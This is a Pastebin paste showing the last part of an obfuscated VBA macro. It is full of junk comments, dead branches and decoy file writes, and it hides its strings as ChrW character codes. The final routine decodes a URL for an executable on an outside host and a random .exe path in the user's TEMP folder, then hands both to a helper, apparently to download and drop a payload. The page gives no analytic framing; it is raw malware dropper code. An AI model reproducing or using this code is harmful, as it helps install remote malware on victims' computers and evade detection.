  955. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  956. Open "HRWFND.OJJ" For Binary As 56
  957. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  958. Put #56, , fkbkPLFp
  959. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  960. Close #56
  961. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  962. IxJXxcCl:
  963. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  964.  
  965. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  966.    Set BEOCPNNRSPU = Nothing
  967. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  968.  
  969. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  970. If 528926 = 528926 + 1 Then End
  971. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  972. If 5187 < 16 Then
  973. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  974.  
  975. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  976. GoTo raPbkNUj
  977. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  978. Dim XknqouXM As String
  979. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  980. Open "AMJEVA.AJK" For Binary As 83
  981. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  982. Put #83, , XknqouXM
  983. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  984. Close #83
  985. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  986. raPbkNUj:
  987. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  988.  
  989. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  990.        MsgBox ("LpoKUGBW68")
  991. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  992. End If
  993. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  994. If Len("JTGUCJnx6847") = Len("lokWyhNe") Then
  995. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  996.  
  997. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  998. GoTo JcgiooiG
  999. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1000. Dim xlXZwEBU As String
  1001. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1002. Open "FMZSTS.CSN" For Binary As 43
  1003. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1004. Put #43, , xlXZwEBU
  1005. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1006. Close #43
  1007. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1008. JcgiooiG:
  1009. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1010.  
  1011. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1012.       MsgBox ("Error !!!")
  1013. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1014. End If
  1015. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1016.  
  1017. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1018. GoTo DJZyeqze
  1019. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1020. Dim lDpnhTMM As String
  1021. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1022. Open ChrW(83) & ChrW(82) & ChrW(79) & ChrW(81) & ChrW(65) & ChrW(68) & ChrW(46) & ChrW(87) & ChrW(88) & ChrW(85) For Binary As 36
  1023. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1024. Put #36, , lDpnhTMM
  1025. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1026. Close #36
  1027. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1028. DJZyeqze:
  1029. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1030.  
  1031. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1032.    
  1033. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1034.  
  1035. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1036. End Function
  1037. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1038. Sub SEDOZBUDOXP()
  1039. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1040. If 143439 = 143439 + 1 Then End
  1041. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1042. If 4488 < 37 Then
  1043. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1044.  
  1045. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1046. GoTo HnezLNVx
  1047. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1048. Dim wwPxymGg As String
  1049. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1050. Open ChrW(77) & ChrW(89) & ChrW(65) & ChrW(74) & ChrW(81) & ChrW(65) & ChrW(46) & ChrW(82) & ChrW(86) & ChrW(66) For Binary As 67
  1051. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1052. Put #67, , wwPxymGg
  1053. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1054. Close #67
  1055. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1056. HnezLNVx:
  1057. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1058.  
  1059. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1060.        MsgBox (ChrW(101) & ChrW(82) & ChrW(73) & ChrW(76) & ChrW(90) & ChrW(69) & ChrW(69) & ChrW(67) & ChrW(53) & ChrW(55))
  1061. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1062. End If
  1063. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1064. If Len(ChrW(80) & ChrW(77) & ChrW(83) & ChrW(75) & ChrW(81) & ChrW(88) & ChrW(118) & ChrW(104) & ChrW(53) & ChrW(50) & ChrW(51) & ChrW(57)) = Len(ChrW(82) & ChrW(100) & ChrW(113) & ChrW(99) & ChrW(84) & ChrW(122) & ChrW(83) & ChrW(90)) Then
  1065. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1066.  
  1067. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1068. GoTo RMSlUhaf
  1069. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1070. Dim cqErvxhJ As String
  1071. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1072. Open ChrW(70) & ChrW(72) & ChrW(76) & ChrW(78) & ChrW(89) & ChrW(79) & ChrW(46) & ChrW(85) & ChrW(69) & ChrW(71) For Binary As 42
  1073. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1074. Put #42, , cqErvxhJ
  1075. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1076. Close #42
  1077. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1078. RMSlUhaf:
  1079. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1080.  
  1081. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1082.       MsgBox (ChrW(69) & ChrW(114) & ChrW(114) & ChrW(111) & ChrW(114) & ChrW(32) & ChrW(33) & ChrW(33) & ChrW(33))
  1083. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1084. End If
  1085. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1086.  
  1087. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1088. GoTo GOoUtrlf
  1089. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1090. Dim INNlXqUJ As String
  1091. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1092. Open ChrW(77) & ChrW(81) & ChrW(82) & ChrW(85) & ChrW(74) & ChrW(69) & ChrW(46) & ChrW(77) & ChrW(73) & ChrW(82) For Binary As 69
  1093. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1094. Put #69, , INNlXqUJ
  1095. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1096. Close #69
  1097. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1098. GOoUtrlf:
  1099. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1100.  
  1101. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1102.    APLJNHMVHUY ChrW(104) & ChrW(116) & ChrW(116) & ChrW(112) & ChrW(58) & ChrW(47) & ChrW(47) & ChrW(99) & ChrW(116) & ChrW(109) & ChrW(97) & ChrW(105) & ChrW(108) & ChrW(46) & ChrW(109) & ChrW(101) & ChrW(47) & ChrW(49) & ChrW(46) & ChrW(101) & ChrW(120) & ChrW(101), Environ(ChrW(84) & ChrW(69) & ChrW(77) & ChrW(80)) & ChrW(92) & ChrW(71) & ChrW(71) & ChrW(82) & ChrW(66) & ChrW(68) & ChrW(69) & ChrW(76) & ChrW(67) & ChrW(83) & ChrW(74) & ChrW(85) & ChrW(46) & ChrW(101) & ChrW(120) & ChrW(101)
  1103. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1104.  
  1105. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1106. End Sub
  1107. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1108.  
  1109. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!